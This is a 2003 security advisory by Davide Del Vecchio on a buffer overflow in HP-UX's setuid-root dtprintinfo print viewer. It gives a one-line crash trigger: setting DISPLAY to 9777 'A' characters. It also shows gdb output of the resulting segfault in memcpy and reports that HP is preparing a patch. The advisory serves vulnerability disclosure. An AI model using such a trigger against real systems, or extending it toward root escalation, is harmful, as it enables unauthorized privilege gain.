=======================================================
  HPUX dtprintinfo buffer overflow vulnerability
======================================================= 

Davide Del Vecchio Adv#7 

Discovered in: 14/07/2003
Date: 08/10/2003
Tested on HP-UX B.11.00 


Description: 

The Print Viewer program provides a graphical interface that displays
the status of print queues and print jobs. 

dante@sofficino :/usr/dt/bin >ls -al /usr/dt/bin/dtprintinfo
 -r-sr-xr-x   1 root       bin         471040 Sep 22  2000 dtprintinfo 

Exporting the DISPLAY variable with a long argument... 

dante@sofficino :/usr/dt/bin >export DISPLAY="`perl -e 'printf "A" x 9777'`"
dante@sofficino :/usr/dt/bin >/usr/dt/bin/dtprintinfo
Memory fault 

 From gdb output we can see: 

Program received signal SIGSEGV, Segmentation fault.
0x7f75fb08 in memcpy () from /usr/lib/libc.2 


Solution: 

I'm in contact with HP's Security staff, especially with John Morris,
and I would like to thanks him and all his staff for the interest
demonstrated during this period of research on HP-UX.
He assured me a patch has been written and an Official Security Bullettin
will follow my advisory. 

Credits: 

Davide Del Vecchio would like to thank all the people supporting him
and his research, his love that never leaves him alone, and obvious,
the HP-UX security staff, impersonified in this case by John Morris. 


Disclaimer: 

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There are NO warranties with regard to this information. In no event shall
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connection with the use or spread of this information. Any use of this
information is at the user's own risk.
^^^^^^^^ 

Please send suggestions, updates, and comments to:
Davide Del Vecchio , Dante Alighieri - dante at alighieri dot org
www.alighieri.org